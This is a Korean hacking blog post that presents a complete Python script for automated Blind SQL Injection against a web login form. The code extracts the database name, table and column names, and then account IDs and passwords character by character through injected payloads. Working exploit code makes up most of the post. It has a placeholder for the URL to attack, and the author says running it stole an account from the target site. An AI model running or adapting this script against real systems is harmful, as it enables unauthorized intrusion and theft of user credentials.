본문 바로가기

해킹/Web Hacking

Blind SQL Injection python 스크립트 제작

Blind SQL Injection은 SQL Injection 취약점이 발견되었을 때 실전적으로 가장 쓸모있는 공격이 아닐까 싶다.

하지만 자동화하지 않는 이상 극도의 노가다를 요하기 때문에 항상 스크립트 제작만 해야지..하고 있었는데

드디어 제작에 성공하여 포스팅을 올려본다.

 

python에서 라이브러리는 requests를 사용할 것이다.

 

기본적인 흐름은 ~~len 함수로 길이를 구한 뒤, 그 값과 ascii코드를 이용해 실제 문자열을 찾아내고 출력해준다.

하지만 len 함수를 제작하지 않고 문자열 반복문을 돌리더라도 오류가 생기지 않아서 find_id()와 find_pw()부터는 1부터 10까지 적당한 범위 내에서 바로 문자열을 찾아내버린다

 

 

blindsqli.py

import requests

url = "공격하고싶은 URL"

def find_db_len():
    for cnt in range(1,255):
        sqlquery="회원가입된 아이디' and length(database())="+str(cnt)+" #"
        postquery="id="+sqlquery+"&pw=1234"
        res = requests.post(url=url, data=postquery, headers={'Content-Type':'application/x-www-form-urlencoded'})
        if "main.php" in res.text:
            # print(f"done! DB LENGTH : {cnt}")
            break
    # DB길이 반환
    return cnt

# DB 이름 찾기
def find_db_str(cnt):
    db_str=""
    for len in range(1,cnt+1):
        for ascii in range(32,127):
            # select 부분에 실행하고싶은 SQL쿼리문 대입
            value = "회원가입된 아이디' and ascii(substring((select database()),{},1))={} #".format(len,ascii)
            post = "id="+value+"&pw=1234"
            response = requests.post(url=url,data=post, headers={'Content-Type':'application/x-www-form-urlencoded'})
            if "main.php" in response.text:
                db_str+=chr(ascii)
    return db_str

def find_table_len():
    for cnt in range(1,255):
        tablequery="회원가입된 아이디' and length((select table_name from information_schema.tables where table_schema='member' limit 0,1))="+str(cnt)+" #"
        tablepostquery="id="+tablequery+"&pw=1234"
        res = requests.post(url=url, data=tablepostquery, headers={'Content-Type':'application/x-www-form-urlencoded'})
        if "main.php" in res.text:
            # print(f"done! table LENGTH : {cnt}")
            break
    # DB길이 반환
    return cnt

def find_table_str(cnt):
    table_str=""
    for len in range(1,cnt+1):
        for ascii in range(32,127):
            # select 부분에 실행하고싶은 SQL쿼리문 대입
            value = "회원가입된 아이디' and ascii(substring((select table_name from information_schema.tables where table_schema='member' limit 0,1),{},1))={} #".format(len,ascii)
            post = "id="+value+"&pw=1234"
            response = requests.post(url=url,data=post, headers={'Content-Type':'application/x-www-form-urlencoded'})
            if "main.php" in response.text:
                table_str+=chr(ascii)
    return table_str

def find_col_len():
    for cnt in range(1,255):
        colquery="회원가입된 아이디' and length((select column_name from information_schema.columns where table_name='member' limit 0,1))="+str(cnt)+" #"
        colpostquery="id="+colquery+"&pw=1234"
        res = requests.post(url=url, data=colpostquery, headers={'Content-Type':'application/x-www-form-urlencoded'})
        if "main.php" in res.text:
            # print(f"done! COLUMN LENGTH : {cnt}")
            break
    # DB길이 반환
    return cnt

def find_col_str(cnt):
    col_str=""
    for len in range(1,cnt+1):
        for ascii in range(32,127):
            # select 부분에 실행하고싶은 SQL쿼리문 대입
            value = "회원가입된 아이디' and ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),{},1))={} #".format(len,ascii)
            post = "id="+value+"&pw=1234"
            response = requests.post(url=url,data=post, headers={'Content-Type':'application/x-www-form-urlencoded'})
            if "main.php" in response.text:
                col_str+=chr(ascii)
    return col_str

def find_id():
    id_str=""
    for len in range(1,10):
        for ascii in range(32,127):
            value = "회원가입된 아이디' and ascii(substring((select id from member limit 0,1),{},1))={} #".format(len,ascii)
            post = "id=" + value + "&pw=1234"
            response = requests.post(url=url, data=post, headers={'Content-Type': 'application/x-www-form-urlencoded'})
            if "main.php" in response.text:
                id_str += chr(ascii)
    return id_str

def find_pw():
    pw_str=""
    for len in range(1,10):
        for ascii in range(32,127):
            value = "회원가입된 아이디' and ascii(substring((select pw from member limit 0,1),{},1))={} #".format(len,ascii)
            post = "id=" + value + "&pw=1234"
            response = requests.post(url=url, data=post, headers={'Content-Type': 'application/x-www-form-urlencoded'})
            if "main.php" in response.text:
                pw_str += chr(ascii)
    return pw_str


if __name__ == '__main__':
    print("DB : " + find_db_str(find_db_len()))
    print("TABLE : "+str(find_table_str(find_table_len())))
    print("COL : "+find_col_str(find_col_len()))
    print("id : "+find_id())
    print("비밀번호 : "+find_pw())

해당 코드는 효율적이고 유기적으로 연결되어있지 않기 때문에 원하는 값들을 모두 찾아내기 위해선 값들을 수정해가면서 다뤄야한다.

DB이름을 얻고 난 뒤부터 table이름, column이름, id, 패스워드 등등은 모두 행으로 출력되기 때문에 limit 0,1 을 이용해서

첫번째 값들을 얻게 되는데, 다음 값을 얻기 위해선 limit 1,1 을 실행하고 limit 2,1 실행하며 수동으로 증가시켜야 한다.

 

그래서 현재 코드를 돌리면 id와 pw 같은 경우는 limit 0,1이므로 DB의 가장 첫번째 데이터의 id와 pw가 얻어진다.

(해당 DB의 컬럼이름이 id, pw라는 것도 column 이름 얻는 단계에서 limit 0,1과 limit 1,1을 실행했었기 때문에 알고 있다고 가정)

 

if __name__ 에서 DB이름부터 비밀번호까지 한번에 함수를 실행하기 때문에 정보를 다 얻어서 필요없는 부분들은 주석 처리해가며 실행하면 효율적으로 원하는 정보를 얻을 수 있을 것이다

 

 

실제로 실행해보니 공격하려는 사이트의 db 첫번째 계정을 탈취했다.

 

 

 

 

 


소스 참조

https://jaeseokim.dev/Python/Python-requests%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-blind-injecthion-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%A0%9C%EC%9E%91-1%ED%8E%B8/